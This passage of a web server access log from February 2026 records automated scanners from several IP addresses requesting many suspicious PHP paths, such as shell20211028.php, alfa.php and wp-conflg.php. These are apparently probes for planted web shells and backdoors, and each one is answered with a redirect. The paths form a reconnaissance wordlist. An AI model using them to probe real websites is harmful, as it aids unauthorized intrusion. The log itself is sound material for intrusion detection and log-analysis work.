+0300] "GET /bs.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:52 +0300] "GET /tu.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:36 +0300] "GET /bh.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:18:33 +0300] "GET /dy.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:18:41 +0300] "GET /qa.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:21 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:35 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:59 +0300] "GET /rc.php7 HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:18 +0300] "GET /gz.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:07 +0300] "GET /qu.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:41 +0300] "GET /vo.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:18 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:40 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:03:43 +0300] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:06 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:09 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:47 +0300] "GET /pt.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:50 +0300] "GET /pl.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:54 +0300] "GET /rm.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:58 +0300] "GET /zl.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:18:01 +0300] "GET /yi.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:09 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:36 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:44 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:58:07 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:00:00 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:04 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:35 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:29 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:27 +0300] "GET /ym.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:34 +0300] "GET /mn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:37 +0300] "GET /xn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:14:42 +0300] "GET /gj.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:43 +0300] "GET /ny.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:59 +0300] "GET /ry.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:19 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:28 +0300] "GET /jv.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:56 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:04 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:23 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:00:15 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:00:32 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:00:51 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:32 +0300] "GET /jh.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:43 +0300] "GET /vk.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:56 +0300] "GET /ed.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:48 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:03:38 +0300] "GET /plugins/fix/x.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:54 +0300] "GET /gn.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:18:21 +0300] "GET /pj.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:03 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:58:13 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:58:23 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:58:23 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:58:49 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:34 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:44 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:47 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:55 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:00:39 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:28 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:46 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:57 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:04 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:03:49 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 43.130.67.6 - - [24/Feb/2026:01:09:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.221.129.30 - - [23/Feb/2026:23:14:20 +0300] "GET /ap.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:24 +0300] "GET /lm.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:27 +0300] "GET /zt.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:48 +0300] "GET /dq.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:25 +0300] "GET /ll.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:16 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:29 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:37 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:41 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:45 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:50 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:52 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:03:14 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:00 +0300] "GET /vq.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:03 +0300] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:07 +0300] "GET /wr.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:15:34 +0300] "GET /gy.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:13 +0300] "GET /fg.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:16:15 +0300] "GET /wy.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:17:34 +0300] "GET /io.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:18:07 +0300] "GET /ub.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [23/Feb/2026:23:18:09 +0300] "GET /ba.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:56:30 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:57:58 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:58:33 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [23/Feb/2026:23:59:13 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:01:13 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:13 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:13 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:17 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:02:20 +0300] "GET /rin.php HTTP/1.1" 301 795 "-" "-" 65.52.160.249 - - [24/Feb/2026:00:03:23 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 43.153.35.128 - - [24/Feb/2026:02:02:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.106.209.183 - - [24/Feb/2026:02:34:20 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 223.244.35.77 - - [24/Feb/2026:01:46:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.206.229 - - [24/Feb/2026:03:00:03 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:03 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:27 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:33 +0300] "GET /zu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:36 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:42 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:01:03 +0300] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:02:31 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:25 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:55 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:01:18 +0300] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:01:57 +0300] "GET /seetox.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:02:24 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:02:50 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:12 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:01:49 +0300] "GET /ze.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:51 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:00:50 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:01:27 +0300] "GET /opts.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:01:34 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:02:10 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:02:10 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:02:40 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:32 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:35 +0300] "GET /tews.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:02:59:39 +0300] "GET /wpp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:55 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:07:36 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:59 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:03 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:39 +0300] "GET /ov.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:43 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:43 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:47 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:13:11 +0300] "GET /lc.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:43 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:44 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:59 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:16:25 +0300] "GET /wp-admin/images/commentv.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:16:55 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:17:43 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:47 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:58 +0300] "GET /abe.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:20:49 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:15 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:21 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:25 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:28 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:05:19 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:05:54 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:08 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:28 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:26 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:02 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:41 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:13:44 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:55 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:31 +0300] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:18:25 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:03 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:03 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:03 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:42 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:23:25 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:24:07 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:24:07 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:24:23 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:24:26 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:46 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:04:10 +0300] "GET /kolda.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:05:27 +0300] "GET /login5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:07:21 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:07:45 +0300] "GET /fot.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:18 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:19 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:31 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:08 +0300] "GET /async.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:13:28 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:13:35 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:17 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:39 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:16 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:25 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:50 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:21:47 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:05 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:05:41 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:07:57 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:36 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:14 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:56 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:15:10 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:16:09 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:16:30 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:16:30 +0300] "GET //wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:20 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:20:38 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:23:10 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:23:35 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:13 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:06:06 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:07:50 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:17 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:39 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:41 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:09:55 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:30 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:30 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:51 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:11:52 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:12 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:18 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:12:27 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:13:59 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:17:54 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:24:14 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:35 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:04:42 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:04:58 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:05:10 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:06:11 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:27 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:30 +0300] "GET /admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:34 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:08:51 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:10:59 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:07 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:28 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:44 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:14:46 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:19:13 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:22:16 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:21 +0300] "GET /er.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:03:39 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:04:37 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:04:48 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [24/Feb/2026:03:06:33 +0300] "GET /wp-access.php 